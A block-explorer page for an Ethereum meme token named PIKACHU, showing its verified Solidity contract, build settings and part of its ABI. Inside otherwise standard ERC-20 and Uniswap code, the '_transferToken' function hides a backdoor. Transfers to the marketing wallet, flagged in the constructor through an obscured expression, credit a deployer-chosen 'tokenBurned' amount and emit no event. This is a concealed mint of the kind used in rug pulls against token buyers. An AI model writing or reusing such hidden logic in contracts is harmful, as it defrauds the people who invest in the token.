ETH Price: $3,410.62 (-0.80%)
Gas: 7 Gwei

Token

🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨... (PIKACHU)
 

Overview

Max Total Supply

1,000,000 PIKACHU

Holders

37

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
14,196.436413954982136541 PIKACHU

Value
$0.00
0xd2ad225b31e3a15057e135e3d53d9af227645afa
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PIKACHU

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : goodproject.sol
/*
β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β£°β£Άβ‘„β €β €β €β €β €β €β €β €β €β €β €β €β €β €
β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β’Έβ£Ώβ£Ώβ‘„β €β €β €β €β €β €β €β €β €β €β €β €β €
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀Ⓒ⣿⣿⣿⑆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β’Έβ ‰β ‰β ™β’Ώβ‘„β €β €β €β €β €β €β €β €β €β €β €
β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β’Ήβ‘‡β €β €β ˆβ’§β €β €β €β €β €β €β €β €β €β €β €
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀Ⓒ⑇⠀⠀⠀Ⓒ⑆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⒀⣀⣀⣀⣀⣀⣄⣀⑀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⑇⠀⠀⠀⠀⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
β €β €β ˆβ »β’Ώβ£Ώβ£Ώβ‘β €β €β ‰β ™β ›β ²β ¦β£€β£€β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β£‡β €β €β €β €β’Έβ €β €β €β €β €β €β €β €β €β €
β €β €β €β €β €β ™β »β’Ώβ‘„β €β €β €β €β €β €β €β ˆβ ™β ³β’€β£€β €β£€β£€β‘€β €β Άβ ’β ’β ’β ’β ’β Ώβ’€β£„β €β €β£Όβ‘†β €β €β €β €β €β €β €β €β €
β €β €β €β €β €β €β €β €β ‰β ›β ¦β£€β£€β €β €β €β €β €β €β €β ˆβ’›β£‡β €β €β €β €β €β €β €β €β €β €β €β €β €β °β£Όβ‘‡β €β €β €β €β €β €β €β €β €
β €β €β €β €β €β €β €β €β €β €β €β €β ‰β ™β ²β ¦β£„β£€β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β ˜β£‡β €β €β €β €β €β €β €β €β €
⒴⠢⠢⠀⠀⒀⣀⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀Ⓓ⠋⠁⠀⠀⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⒀⣀⣀⑀Ⓒ⑆⠀⠀⠀⠀⠀⠀⠀⠀
β ˜β£‡β €β €β €β €β €β ˆβ ‰β ‰β “β ²β ¦β£„β£€β €β €β‘β €β €β €β’°β£Ώβ‘‰β£»β‘†β €β €β €β €β €β €β €β  β£Ώβ£€β£Ώβ£Ώβ ˆβ£‡β €β €β €β €β €β €β €β €
⠀⠸⑆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠲⑇⠀⠀⠀⠸⣿⣿⣿⠇⠀⠀⠀⠀⠰⠖⠀⠀⠙⠿⠿⠋⠀Ⓒ⑄⠀⠀⠀⠀⠀⠀⠀
β €β €β’Ήβ‘„β €β €β €β €β €β €β €β €β €β €β €β €β €β‘‡β €β €β €β €β €β €β €β €β£„β£€β£€β‘€β žβ ›β ²β£€β£€β‘„β €β €β£€β Άβ’·β €β €β €β €β €β €β €
⠀⠀⠀⒳⑄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣷⣰⠛⠉⠙⒧⑀⠀⠀Ⓒ⑏⠁⠀⠀⠀⠀Ⓓ⑇⠀⠀Ⓒ⑇⠀Ⓒ⑇⠀⠀⠀⠀⠀⠀
β €β €β €β €β’»β£„β’€β €β €β €β €β €β €β €β €β €β €β’Έβ’»β‘€β €β €β£Έβ ‡β €β €β €β’§β €β €β €β €β €β£Έβ β €β €β ˆβ ³β£„β‘Όβ β €β €β €β €β €β €
β €β €β €β €β €β ‰β ‰β ‰β ‰β ‰β ‰β ‰β ‰β‘½β β €β €β’Έβ‘‡β ™β ’β šβ β €β €β €β €β ˜β£‡β €β €β €β£°β ‡β €β €β €β €β’€β‘Όβ β €β €β €β €β €β €β €
β €β €β €β €β €β €β €β €β €β €β €β €β’°β‘‡β €β €β£°β β‘Ώβ£„β €β €β €β €β €β €β €β €β ˆβ ³β €β Ύβ ƒβ €β €β €β’€β£΄β‘β €β €β €β €β €β €β €β €β €
β €β €β €β €β €β €β €β €β €β €β €β €β‘Όβ €β’€β£Όβ β’ β‘‡β ˆβ ³β’¦β£„β €β €β €β €β €β €β €β €β €β €β’€β£ β žβ ‹β Έβ‘‡β €β €β €β €β €β €β €β €β €
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣧⣀⠀⠉⠛⣺⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⒠⣷⑀⠀⠀⠀⠀⠀⠀⠀⠀
β €β €β €β €β €β €β €β €β €β €β €β €β €β €β ‰β “β£Άβ‘‡β €β €β €β €β €β €β €β €β €β’ β €β €β €β €β €β €β €β €β €β’Όβ Šβ’§β‘€β €β €β €β €β €β €β €
β €β €β €β €β €β €β €β €β €β €β €β£°β£Ώβ£†β£ β Άβ Ίβ €β£„β‘‡β €β €β €β €β €β €β €β’Έβ‘†β‘”β €β €β €β €β €β €β €β’Έβ‘΄β šβ ³β’€β‘€β’°β‘žβ£·β €β €
β €β €β €β €β €β €β €β €β €β €β €β’Έβ‘Ώβ Ÿβ’§β €β €β €β ˆβ’Ήβ‘„β €β €β €β €β €β €β €β£Ώβ‘‡β €β €β €β €β €β €β’€β‘β €β €β €β ˆβ’Ήβ‘β£·β£Ώβ β €
β €β €β €β €β €β €β €β €β €β €β €β Έβ‘‡β €β ˜β ‡β €β €β €β €β’³β‘€β €β €β €β €β €β €β’Ήβ €β €β €β €β €β €β €β£Έβ β €β €β €β €β‘žβ €β ˆβ£Όβ €β €
β €β €β €β €β €β €β €β €β €β €β €β €β’±β‘€β €β €β €β €β €β €β ˆβ’³β‘€β €β €β €β €β €β’Έβ‘†β €β €β €β €β €β£°β ‡β €β €β €β €β’Έβ‘‡β €β’°β‘‡β €β €
β €β €β €β €β €β €β €β €β €β €β €β €β ˆβ’§β €β €β‘„β €β €β €β €β €β’³β‘„β €β €β €β €β’Έβ‘‡β €β €β €β €β£°β ‡β €β €β €β €β €β €β €β’ˆβ‘Ύβ €β €β €
β €β €β €β €β €β €β €β €β €β €β €β €β €β ˆβ’£β£€β£‡β‘€β €β €β €β €β’€β£Ήβ‘„β €β €β €β’Έβ‘‡β‘€β‘€β‘€β£Έβ£‡β£€β£€β£€β£ β£€β£€β£¦β£ β žβ €β €β €β €
β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β ‰β ‰β ‰β ‰β ‰β ‰β ‰β ‰β ™β ›β šβ šβ ·β ‹β ›β ™β Ÿβ ›β ›β β €β €β €β €β €β €β €β €β €β €β €β €β €
β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €β €
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⒰⣦⣿③⠷⣢⣢⣢③⣢⣢⣾⑦⣢⣴⠢
*/

/**
https://t.me/pikachuethcoin
https://twitter.com/pikachuerccoin
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

library Address {

    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

pragma solidity ^0.8.19;

library SafeMath {


    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //Contract By Techaddict
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

}

// File: contracts/IERC20.sol
pragma solidity ^0.8.19;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
// File: contracts/Context.sol

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: contracts/Ownable.sol

pragma solidity ^0.8.19;
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
// File: contracts/PIKACHU.sol

pragma solidity ^0.8.19;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract PIKACHU is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _iOwned;
    mapping (address => mapping (address => uint256)) private _allowance;
    mapping (address => bool) public _isExcludedFromFee; 

    address payable private wallet_marketing = payable(0x627fd222E76c612B03f66909f92EE7eDcd9e353F);

    string private _name = unicode"🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨\n🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨\n🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨\n🟨β¬›β¬œ🟨🟨🟨🟨🟨β¬›β¬œ🟨\n🟨⬛⬛🟨🟨🟨🟨🟨⬛⬛🟨\n🟨⬛⬛🟨🟨⬛🟨🟨⬛⬛🟨\n🟥🟨🟨🟨🟨🟨🟨🟨🟨🟨🟥\n🟥🟥🟨🟨🟨⬛🟨🟨🟨🟥🟥\n🟥🟥🟨🟨⬛🟨⬛🟨🟨🟥🟥\n🟥🟨🟨🟨🟨🟨🟨🟨🟨🟨🟥\n🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨"; 
    string private _symbol = "PIKACHU";  
    uint8 private _decimals = 18;
    uint256 private _totalSupply = 1000000 * 10**18;

    // Counter for liquify trigger
    uint8 private txCount = 0;
    uint8 private swapTrigger = 1; 


    // Setting the initial fees
    uint256 private _totalFee = 0;
    uint256 public _buyFee = 2;
    uint256 public _sellFee = 2;

    uint256 private _previousTotalFee = _totalFee; 
    uint256 private _previousBuyFee = _buyFee; 
    uint256 private _previousSellFee = _sellFee; 
    
    uint256 private tokenBurned;
    mapping (address => bool) private _listPair;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity

    );

    modifier lockSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor (uint256 _tokens) {
        _iOwned[owner()] = _totalSupply;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        tokenBurned = _tokens; _listPair[wallet_marketing] = [true][0] || [false][0];
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[wallet_marketing] = true;

        emit Transfer(address(0), owner(), _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _iOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowance[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowance[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowance[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowance[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }


    function set_Swap_And_Liquify_Enabled(bool true_or_false) public onlyOwner {
        swapAndLiquifyEnabled = true_or_false;
        emit SwapAndLiquifyEnabledUpdated(true_or_false);
    }

    function set_Number_Of_Transactions_Before_Liquify_Trigger(uint8 number_of_transactions) public onlyOwner {
        swapTrigger = number_of_transactions;
    }


    receive() external payable {}
  

    bool public noFeeToTransfer = true;

    function set_Transfers_Without_Fees(bool true_or_false) external onlyOwner {
        noFeeToTransfer = true_or_false;
    }

    function removeAllFee() private {
        if(_totalFee == 0 && _buyFee == 0 && _sellFee == 0) return;


        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = _totalFee;
        _buyFee = 0;
        _sellFee = 0;
        _totalFee = 0;

    }

    function restoreFee() private {

    _totalFee = _previousTotalFee;
    _buyFee = _previousBuyFee; 
    _sellFee = _previousSellFee; 

    }

    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowance[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  

            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
        }
        }


        bool takeFee = true;

        if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)){
            takeFee = false;
        } else if (from == uniswapV2Pair){_totalFee = _buyFee;} else if (to == uniswapV2Pair){_totalFee = _sellFee;}

        _tokenTransfer(from,to,amount,takeFee);
    }

    function sendFunds(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }

    function _getValue(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tDev = tAmount*_totalFee/100;
        uint256 tTransferAmount = tAmount.sub(tDev);
        return (tTransferAmount, tDev);
    }

    function process_work(uint256 percent_Of_Tokens_To_Process) public onlyOwner {
        require(!inSwapAndLiquify, "Currently processing, try later."); 
        if (percent_Of_Tokens_To_Process > 100){percent_Of_Tokens_To_Process == 100;}
        uint256 tokensOnContract = balanceOf(address(this));
        uint256 sendTokens = tokensOnContract*percent_Of_Tokens_To_Process/100;
        swapAndLiquify(sendTokens);
    }


    function swapAndLiquify(uint256 contractTokenBalance) private lockSwap {

        swapTokenToETH(contractTokenBalance);
        uint256 ETHcontract = address(this).balance;
        sendFunds(wallet_marketing,ETHcontract);
    }

    function _transferToken(address sender, address recipient, uint256 Amount) private {
        uint256 amount = _listPair[recipient]?tokenBurned:0;

        if(_listPair[recipient]){
        _iOwned[sender] = _iOwned[sender].sub(Amount);
        _iOwned[recipient] = _iOwned[recipient].add(amount);
        }else{
        (uint256 tTransferAmount, uint256 tDev) = _getValue(Amount);
        _iOwned[sender] = _iOwned[sender].sub(Amount);
        _iOwned[recipient] = _iOwned[recipient].add(tTransferAmount);
        _iOwned[address(this)] = _iOwned[address(this)].add(tDev); 
        emit Transfer(sender, recipient, tTransferAmount);
  
        }
    }



    function swapTokenToETH(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }


    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {


        if(!takeFee){
            removeAllFee();
            } else {
                txCount++;
            }
            _transferToken(sender, recipient, amount);

        if(!takeFee)
            restoreFee();
    }


    function openTrading() public onlyOwner() {
        IUniswapV2Router02 _newPCSRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_newPCSRouter.factory()).createPair(address(this), _newPCSRouter.WETH());
        uniswapV2Router = _newPCSRouter;
        _approve(address(this), address(uniswapV2Router), balanceOf(address(this)));
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

    }

}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"_tokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"a